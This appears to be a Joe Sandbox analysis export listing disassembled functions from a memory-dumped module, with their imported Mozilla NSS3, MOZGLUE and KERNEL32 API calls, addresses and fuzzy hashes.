Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 1850dd8ae34fd60701cf99bf554fe5ca1b92939c2386911f6374fd6217680f44
Instruction ID: 70d6a22c3649326e5752b894b789c61bb8c8519cba18259b06a0e19ea6df639f
Opcode Fuzzy Hash: 1850dd8ae34fd60701cf99bf554fe5ca1b92939c2386911f6374fd6217680f44
Instruction Fuzzy Hash: F641E671A012059BEB20CE66CE48BBA73B9AF44208F544138ED19D7B81EB39F905CBD1

Function 6C6FEDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6FEDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C6FEE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C6FEECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6FEEEB
free.MOZGLUE(?), ref: 6C6FEEF6

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 3e7702338032358e8aef3144fd496d1a1cee086db06c4d40e29efce3a88302d1
Instruction ID: 34319f1441cd08e6e3f616af5f6aeb1c7ae1ec53cc54ac4f510e94a36c88ed18
Opcode Fuzzy Hash: 3e7702338032358e8aef3144fd496d1a1cee086db06c4d40e29efce3a88302d1
Instruction Fuzzy Hash: B23139B16042019BE7209F2DEC447A63FF6FB46318F140538E8AA87A51D731E817CBD6

Function 6C711F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C711F1C

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6C829EBC), ref: 6C711FB8
SEC_ASN1EncodeItem_Util.NSS3(6C829E9C,?,?,6C829E9C), ref: 6C71200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C712020

Part of subcall function 6C706A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C70AD50,?,?), ref: 6C706A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C712030

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 06600a2c51ff5246db12dae1eddf4dbae84e3d24bd4daf5024b83eee67250594
Instruction ID: d739f1d5d190354582df8aec3987344a917683ce1274185def90368901ba0a0f
Opcode Fuzzy Hash: 06600a2c51ff5246db12dae1eddf4dbae84e3d24bd4daf5024b83eee67250594
Instruction Fuzzy Hash: FB21E6B5905502BBE7119A15DE48FAA7768FF5231CF1C0225FC2896F80E731E668C7A1

Function 6C701DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C701E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C701E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C701E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C701E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C701EAD

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: b26be85d3b31e469fcae5b4a98fa2cb93be01e2c7c6929402a322bec67af8526
Instruction ID: b24940f7517140361e428751cdc242d60059cc523c0da46dccf3c770d3ec74e2
Opcode Fuzzy Hash: b26be85d3b31e469fcae5b4a98fa2cb93be01e2c7c6929402a322bec67af8526
Instruction Fuzzy Hash: 502125B2F04311ABD7008E69DE48B8F73D89B8476EF148638ED5957780E730D90887D2

Function 6C811E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C811E5C

Part of subcall function 6C7C9BF0: TlsGetValue.KERNEL32(?,?,?,6C810A75), ref: 6C7C9C07

PR_Lock.NSS3(00000000), ref: 6C811E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C811EAB
PR_GetCurrentThread.NSS3 ref: 6C811ED0
PR_Unlock.NSS3(?), ref: 6C811EE8

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 079448d3eba4e3cfd943006fc1fc5fb388fc3ee0d6a11040e0c282586b7a9af1
Instruction ID: c5230175d3828544c5385fbf1d18dbd9ba0a6ac3c020bc432d5b1a8fef29a5b1
Opcode Fuzzy Hash: 079448d3eba4e3cfd943006fc1fc5fb388fc3ee0d6a11040e0c282586b7a9af1
Instruction Fuzzy Hash: C4219A74B18513AFD720CF99DA84A46B7F0BF64718B258A29D8158BF40D730F810CBD1

Function 6C75BE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C70E708,00000000,00000000,00000004,00000000), ref: 6C75BE6A

Part of subcall function 6C760840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7608B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7104DC,?), ref: 6C75BE7E

Part of subcall function 6C75FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C758D2D,?,00000000,?), ref: 6C75FB85
Part of subcall function 6C75FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C75FBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C75BEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7104DC,?,?), ref: 6C75BED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C75BEEB

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 88c314ad63180daf64819070a967eb0bd8c2e1d574033d105d291c27f6043c61
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: A3110866B0424967E70089669F88F77736DAB40758F884135FE0597B92EF32EC2487E1

Function 6C70AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C703FFF,00000000,?,?,?,?,?,6C701A1C,00000000,00000000), ref: 6C70ADA7

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C703FFF,00000000,?,?,?,?,?,6C701A1C,00000000,00000000), ref: 6C70ADB4

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C703FFF,?,?,?,?,6C703FFF,00000000,?,?,?,?,?,6C701A1C,00000000), ref: 6C70ADD5

Part of subcall function 6C75FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C758D2D,?,00000000,?), ref: 6C75FB85
Part of subcall function 6C75FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C75FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C8294B0,?,?,?,?,?,?,?,?,6C703FFF,00000000,?), ref: 6C70ADEC

Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C703FFF), ref: 6C70AE3C

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 2da06d118904eaf8b3dfcf1f5537b858641f87274ba7bf570cf61b1e75ab437d
Instruction ID: bc7fca46ca59e37a1aee253d5750c7dd94337834abe962eb5ae88f90b1e104c9
Opcode Fuzzy Hash: 2da06d118904eaf8b3dfcf1f5537b858641f87274ba7bf570cf61b1e75ab437d
Instruction Fuzzy Hash: A81133A1F002056BE7109A659E09BBF72EC9F9125CF044238EC19D6B41FB20E998C3E2

Function 6C718FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C720710), ref: 6C718FF1
PR_CallOnce.NSS3(6C862158,6C719150,00000000,?,?,?,6C719138,?,6C720710), ref: 6C719029
calloc.MOZGLUE(00000001,00000000,?,?,6C720710), ref: 6C71904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C720710), ref: 6C719066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C720710), ref: 6C719078

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 05b17bdb0d7897fe50ab33c3968bb2685e246feb0cc7800625f6cac7a5f3b4db
Instruction ID: 84e839780bfae05ab4ee899eeaa982a20e28641ff2f82ef6783ac49bcb736dac
Opcode Fuzzy Hash: 05b17bdb0d7897fe50ab33c3968bb2685e246feb0cc7800625f6cac7a5f3b4db
Instruction Fuzzy Hash: 08114461B082135BE7201AAEAD04A7672ACEB927ACF480431FC84C2F40F352CD46C3F9

Function 6C72CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C741E10: TlsGetValue.KERNEL32 ref: 6C741E36
Part of subcall function 6C741E10: EnterCriticalSection.KERNEL32(?,?,?,6C71B1EE,2404110F,?,?), ref: 6C741E4B
Part of subcall function 6C741E10: PR_Unlock.NSS3 ref: 6C741E76

free.MOZGLUE(?,6C72D079,00000000,00000001), ref: 6C72CDA5
PK11_FreeSymKey.NSS3(?,6C72D079,00000000,00000001), ref: 6C72CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C72D079,00000000,00000001), ref: 6C72CDCF
DeleteCriticalSection.KERNEL32(?,6C72D079,00000000,00000001), ref: 6C72CDE2
free.MOZGLUE(?), ref: 6C72CDE9

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: dc5804417c6803546dd7d1cd8dfffd925d66b7c8ea6470fd9f04519a2c567804
Instruction ID: 6ab783935ea170ae396a609ccec168f2f93d705ef1b8d89b00f74d4b05b895ec
Opcode Fuzzy Hash: dc5804417c6803546dd7d1cd8dfffd925d66b7c8ea6470fd9f04519a2c567804
Instruction Fuzzy Hash: 4F11C2B6B01111BBEB00AE65EE49D96B72DFF1426E7144131F90987E01E73AE434CBE1

Function 6C792CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C795B40: PR_GetIdentitiesLayer.NSS3 ref: 6C795B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C792CEC

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PR_EnterMonitor.NSS3(?), ref: 6C792D02
PR_EnterMonitor.NSS3(?), ref: 6C792D1F
PR_ExitMonitor.NSS3(?), ref: 6C792D42
PR_ExitMonitor.NSS3(?), ref: 6C792D5B

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 227605bb550a852316d7537ec0fd3da1ad8c12a7b3ee79bfc6ea44c27c847977
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: AF0104B1A40604AFE770AE25FD4ABC7B3A1EF51318F004535E85986721E332F9158793

Function 6C792D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C795B40: PR_GetIdentitiesLayer.NSS3 ref: 6C795B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C792D9C

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PR_EnterMonitor.NSS3(?), ref: 6C792DB2
PR_EnterMonitor.NSS3(?), ref: 6C792DCF
PR_ExitMonitor.NSS3(?), ref: 6C792DF2
PR_ExitMonitor.NSS3(?), ref: 6C792E0B

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 483e3222dea85e673eb9206e100f7b11d724fa840afe2f41ec313362b6ab21d7
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: A901C4B1A50200AFEB70AE25FD4DBC7B7A5EF51318F004535E85986B22D732F9258693

Function 6C72AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C713090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C72AE42), ref: 6C7130AA
Part of subcall function 6C713090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7130C7
Part of subcall function 6C713090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C7130E5
Part of subcall function 6C713090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C713116
Part of subcall function 6C713090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C71312B
Part of subcall function 6C713090: PK11_DestroyObject.NSS3(?,?), ref: 6C713154
Part of subcall function 6C713090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C71317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C7099FF,?,?,?,?,?,?,?,?,?,6C702D6B,?), ref: 6C72AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C7099FF,?,?,?,?,?,?,?,?,?,6C702D6B,?), ref: 6C72AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C702D6B,?,?,00000000), ref: 6C72AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C702D6B,?,?,00000000), ref: 6C72AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C702D6B,?,?), ref: 6C72AEA3

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 5aa0bb8df06cdbe7299684072cfa83b62bae8e98efdb4ce953bc48fe4c565754
Instruction ID: 9dcef20888e979726880f27eee0bd9513f226b2d0f46207e4b002ddce322b606
Opcode Fuzzy Hash: 5aa0bb8df06cdbe7299684072cfa83b62bae8e98efdb4ce953bc48fe4c565754
Instruction Fuzzy Hash: BF01A4ABF1411057E701A16CAE9FAAF315C8B8766CF080432E909D7B41FA1AD91A42E3

Function 6C81BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6C817AFE,?,?,?,?,?,?,?,?,6C81798A), ref: 6C81BDC3
free.MOZGLUE(?,?,6C817AFE,?,?,?,?,?,?,?,?,6C81798A), ref: 6C81BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C817AFE,?,?,?,?,?,?,?,?,6C81798A), ref: 6C81BDE9
free.MOZGLUE(?,00000000,00000000,?,6C817AFE,?,?,?,?,?,?,?,?,6C81798A), ref: 6C81BE21
free.MOZGLUE(00000000,00000000,?,6C817AFE,?,?,?,?,?,?,?,?,6C81798A), ref: 6C81BE32

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 026fb376a91c5b5160369d68bfa128343286d3c621d72ffb40874d9ddc3cac86
Instruction ID: f469e73ce12fcf6940ffc08df73f371a18a36031519a85572e2742c79f24e399
Opcode Fuzzy Hash: 026fb376a91c5b5160369d68bfa128343286d3c621d72ffb40874d9ddc3cac86
Instruction Fuzzy Hash: DE1116B5B052019FDB60DF2AC809A223BB6BB0A24DB4424B9E58A87701D7399414CFD2

Function 6C817C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C817C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C817C83
malloc.MOZGLUE(00000001), ref: 6C817C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C817C9F
PR_GetCurrentThread.NSS3 ref: 6C817CAD

Part of subcall function 6C7C9BF0: TlsGetValue.KERNEL32(?,?,?,6C810A75), ref: 6C7C9C07

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
